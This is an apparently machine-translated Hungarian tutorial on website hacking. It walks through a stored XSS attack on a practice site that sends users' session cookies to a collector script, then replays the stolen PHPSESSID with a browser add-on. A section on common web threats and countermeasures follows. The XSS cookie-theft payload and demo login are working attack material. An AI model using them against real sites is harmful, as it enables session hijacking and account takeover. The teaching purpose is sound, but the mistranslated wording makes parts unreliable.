Hogyan kell feltörni egy webhelyet? Gyakori webhely-hackelési technikák
Weboldal hackelési technikák
Több ember fér hozzá az internethez, mint valaha. Ez sok szervezetet késztetett arra, hogy olyan webalapú alkalmazásokat fejlesszen ki, amelyek segítségével a felhasználók online kapcsolatba léphetnek a szervezettel. A webalkalmazások rosszul megírt kódja kihasználható érzékeny adatokhoz és webszerverekhez való jogosulatlan hozzáféréshez.
Ebben az oktatóanyagban megtudhatja, hogyan kell feltörni webhelyeket, mi pedig bemutatjuk Önnek webalkalmazás-hackelési technikák és az ellenintézkedések beállíthatja az ilyen támadások elleni védelmet.
Hogyan kell feltörni egy webhelyet
Ebben a webhely-hackelés gyakorlati forgatókönyvében a webalkalmazás felhasználói munkamenetét fogjuk eltéríteni a címen www.techpanda.org. Webhelyek közötti szkriptet használunk a cookie munkamenet-azonosítójának beolvasására, majd a legitim felhasználói munkamenet megszemélyesítésére.
Az a feltételezés, hogy a támadó hozzáfér a webalkalmazáshoz, és szeretné eltéríteni más, ugyanazt az alkalmazást használó felhasználók munkameneteit. A támadás célja az lehet, hogy rendszergazdai hozzáférést kapjon a webalkalmazáshoz, feltéve, hogy a támadó hozzáférési fiókja korlátozott.
Step 1) Nyissa meg az URL-t http://www.techpanda.org/.
Gyakorlati célokra erősen ajánlott az SQL Injection használatával való hozzáférés. Lásd erre cikkben további információért, hogyan kell ezt megtenni.
Step 2) Adja meg a bejelentkezési adatokat.
A bejelentkezési e-mail az admin@google.com, a jelszó Password2010.
Step 3) Ellenőrizze a műszerfalat.
Ha sikeresen bejelentkezett, akkor a következő irányítópult jelenik meg
Step 4) Írja be az új tartalmat.
Kattintson az Új névjegy hozzáadása lehetőségre, és adja meg a következőt keresztnévként
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Step 5) hozzáad Javascript.
A fenti kódot használja JavaForgatókönyv. Hiperhivatkozást ad hozzá egy onclick eseményhez. Amikor a gyanútlan felhasználó rákattint a hivatkozásra, az esemény lekéri a PHP cookie session ID, és elküldi a snatch_sess_id.php
oldalt az URL-ben található munkamenet-azonosítóval együtt
Step 6) Részletek hozzáadása lehetőségre.
Adja meg a fennmaradó adatokat az alábbiak szerint, majd kattintson a Módosítások mentése gombra
Step 7) Ellenőrizze a műszerfalat.
Az irányítópult most a következő képernyőhöz hasonlóan fog kinézni
Step 8) Ellenőrizze a munkamenet azonosítóját.
Megjegyzések: a szkript elküldheti az értéket egy távoli szerverre, ahol a PHPSESSID tárolva van, majd a felhasználó visszairányítja a webhelyre, mintha mi sem történt volna.
Megjegyzések: a kapott érték eltérhet az ezen a weboldalon található értéktől hackelési oktatóanyag, de a koncepció ugyanaz
Munkamenet Megszemélyesítés segítségével Firefox és Tamper Data kiegészítő
Az alábbi folyamatábra bemutatja azokat a lépéseket, amelyeket meg kell tennie a gyakorlat végrehajtásához.
- Szükséged lesz Firefox webböngésző ehhez a szakaszhoz és Tamper Data kiegészítőhöz
- Nyisd ki Firefox és telepítse a kiegészítőt az alábbi ábrákon látható módon
- Keresse meg a szabotázsadatokat, majd kattintson a telepítés gombra a fent látható módon
- Kattintson az Elfogadás és telepítés gombra…
- Kattintson az Újraindítás most gombra, amikor a telepítés befejeződött
- Engedélyezze a menüsort Firefox ha nem jelenik meg
- Kattintson az Eszközök menüre, majd válassza a Szabotázs adatok lehetőséget az alábbiak szerint
- A következő ablakot fogja kapni. Megjegyzés: Ha a Windows nem üres, nyomja meg a törlés gombot
- Kattintson a Szabotázs indítása menüre
- Váltson vissza ide Firefox webböngésző, írja be http://www.techpanda.org/dashboard.php majd nyomja meg az Enter billentyűt az oldal betöltéséhez
- A következő előugró ablak jelenik meg a Tamper Data-tól
- A felugró ablak három (3) lehetőséget kínál. A Tamper opció lehetővé teszi a HTTP-fejléc információinak módosítását, mielőtt elküldené a szervernek.
- Kattintson rá
- A következő ablakot fogja látni
- Másolja a PHP munkamenet azonosítója kimásoltad a támadási URL-t, és beilleszted az egyenlőségjel mögé. Az értékének most így kell kinéznie
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Kattintson az OK gombra
- Ismét megjelenik a Tamper data felugró ablak
- Törölje a jelet a jelölőnégyzetből, amely a Continue Tampering?
- Ha elkészült, kattintson a küldés gombra
- Látnia kell a műszerfalat az alábbiak szerint
Megjegyzések: nem jelentkeztünk be, egy bejelentkezési munkamenetet személyesítettünk meg a PHPSESSID érték használatával, amelyet webhelyek közötti szkripttel kértünk le
Mi az a webalkalmazás? Mik azok a webes fenyegetések?
A webalkalmazás (más néven weboldal) egy kliens-szerver modellen alapuló alkalmazás. A szerver biztosítja az adatbázis-hozzáférést és az üzleti logikát. Egy webszerveren található. Az ügyfélalkalmazás az ügyfél webböngészőjén fut. A webalkalmazások általában olyan nyelveken készülnek, mint pl Java, C# és VB.Net, PHP, ColdFusion Markup Language stb. a webalkalmazásokban használt adatbázismotorok közé tartozik MySQL, MS SQL Server, PostgreSQL, SQLiteStb
A legnépszerűbb webhely-hackelési technikák
A legtöbb webalkalmazás az interneten keresztül elérhető nyilvános szervereken található. Ez a könnyű hozzáférhetőség miatt sebezhetővé teszi őket a támadásokkal szemben. Az alábbiak a gyakori webalkalmazás-fenyegetések.
- SQL Injection – ennek a fenyegetésnek a célja lehet a bejelentkezési algoritmusok megkerülése, az adatok szabotálása stb.
- Szolgáltatás megtagadása– ennek a fenyegetésnek a célja az lehet, hogy megtagadja a jogos felhasználók hozzáférését az erőforráshoz
- Cross Site Scripting XSS– ennek a fenyegetésnek az lehet a célja, hogy a kliens oldali böngészőben végrehajtható kódot szúrjon be.
- Cookie/Session Poisoning- ennek a fenyegetésnek az a célja, hogy a támadó módosítsa a cookie-kat/munkamenetadatokat, hogy illetéktelen hozzáférést szerezzen.
- Űrlap manipuláció – ennek a fenyegetésnek az a célja, hogy módosítsa az űrlapadatokat, például az árakat az e-kereskedelmi alkalmazásokban, hogy a támadó csökkentett áron juthasson hozzá a termékekhez.
- Kódbefecskendezés - ennek a fenyegetésnek az a célja, hogy olyan kódot fecskendezzen be, mint a PHP, Python, stb., amelyek a szerveren végrehajthatók. A kód hátsó ajtókat telepíthet, bizalmas információkat fedhet fel stb.
- eltorzítás– ennek a fenyegetésnek az a célja, hogy módosítsa a webhelyen megjelenített oldalt, és az összes oldalkérést egyetlen oldalra irányítsa, amely tartalmazza a támadó üzenetét.
Hogyan védheti meg webhelyét a feltörések ellen?
Egy szervezet a következő házirendet alkalmazhatja, hogy megvédje magát a webszerver-támadásokkal szemben.
- SQL Injection – a felhasználói paraméterek fertőtlenítése és érvényesítése az adatbázisba való feldolgozás előtt történő feldolgozása előtt csökkentheti a támadások esélyét SQL Injection. Adatbázis motorok, mint például az MS SQL Server, MySQLstb. támogatási paramétereket, és elkészített kimutatásokat. Sokkal biztonságosabbak, mint a hagyományos SQL utasítások
- Szolgáltatásmegtagadási támadások – a tűzfalak használhatók a gyanús IP-címekről érkező forgalom leállítására, ha a támadás egyszerű DoS. A hálózatok és a behatolásjelző rendszer megfelelő konfigurálása szintén segíthet csökkenteni annak az esélyét, hogy a DoS támadás sikeres volt.
- Webhelyek közötti szkriptelés – A fejlécek, az URL-en keresztül átadott paraméterek, az űrlapparaméterek és a rejtett értékek érvényesítése és megtisztítása segíthet csökkenteni az XSS-támadásokat.
- Cookie/Session Poisoning – ez megelőzhető a cookie-k tartalmának titkosításával, a cookie-k bizonyos idő utáni időzítésével, a cookie-k hozzárendelésével a létrehozásukhoz használt ügyfél IP-címéhez.
- Forma temperálás - ez megelőzhető a felhasználói bevitel érvényesítésével és ellenőrzésével a feldolgozás előtt.
- Kódbefecskendezés – ez megelőzhető úgy, hogy az összes paramétert adatként kezeljük, nem pedig futtatható kódként. Ennek megvalósítására a fertőtlenítés és az érvényesítés használható.
- Megrontás – egy jó webalkalmazás-fejlesztési biztonsági politikának biztosítania kell, hogy lezárja a gyakran használt biztonsági rések a webszerver eléréséhez. Ez lehet az operációs rendszer megfelelő konfigurációja, a webszerver-szoftver és a legjobb biztonsági gyakorlatok webalkalmazások fejlesztése során.
Összegzésként
- A webalkalmazások a szerver-kliens modellen alapulnak. Az ügyféloldal a webböngészőt használja a szerveren lévő erőforrások eléréséhez.
- A webes alkalmazások általában az interneten keresztül érhetők el. Ez sebezhetővé teszi őket a támadásokkal szemben.
- A webalkalmazás-fenyegetések közé tartozik az SQL-befecskendezés, a kódbefecskendezés, az XSS, az elrontás, a cookie-mérgezés stb.
- A webalkalmazások fejlesztése során betartott jó biztonsági szabályzat segíthet biztonságossá tenni azokat.